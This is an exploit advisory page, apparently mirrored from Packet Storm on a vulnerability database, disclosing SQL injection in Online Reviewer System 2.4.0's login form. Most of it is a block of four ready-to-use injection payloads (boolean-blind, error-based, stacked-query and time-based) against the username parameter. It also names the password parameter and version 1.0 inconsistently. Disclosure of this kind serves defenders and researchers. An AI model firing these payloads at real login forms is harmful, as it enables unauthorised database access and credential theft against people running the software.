Lucene search
K

Online Reviewer System 2.4.0 SQL Injection

🗓️ 16 Nov 2021 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 576 Views

Online Reviewer System 2.4.0 SQL Injection vulnerability in password paramete

Code
`## [Sourcecodester-Online-Reviewer-System-2.4.0 SQL - 4 types of  
injection vulnerability](https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html)  
  
## [Vendor](https://www.sourcecodester.com/users/janobe)  
  
## Description:  
The password parameter appears of the Online Reviewer System 1.0 to be  
vulnerable to SQL injection attacks - 4 types of injection  
vulnerability.  
A single quote was submitted in the password parameter, and a database  
error message was returned.  
Two single quotes were then submitted and the error message disappeared.  
  
## Payloads:  
  
```mysql  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)  
Payload: username=TtzgjjZP' OR NOT  
2693=2693#&password=r1L!h4v!O1'&btn-login=Log In  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: username=TtzgjjZP' AND (SELECT 4139 FROM(SELECT  
COUNT(*),CONCAT(0x71707a7171,(SELECT  
(ELT(4139=4139,1))),0x71707a7a71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--  
GJJK&password=r1L!h4v!O1'&btn-login=Log In  
  
Type: stacked queries  
Title: MySQL >= 5.0.12 stacked queries (comment)  
Payload: username=TtzgjjZP';SELECT  
SLEEP(5)#&password=r1L!h4v!O1'&btn-login=Log In  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=TtzgjjZP' AND (SELECT 8716 FROM  
(SELECT(SLEEP(5)))MJXH)-- xWIO&password=r1L!h4v!O1'&btn-login=Log In  
---  
```  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation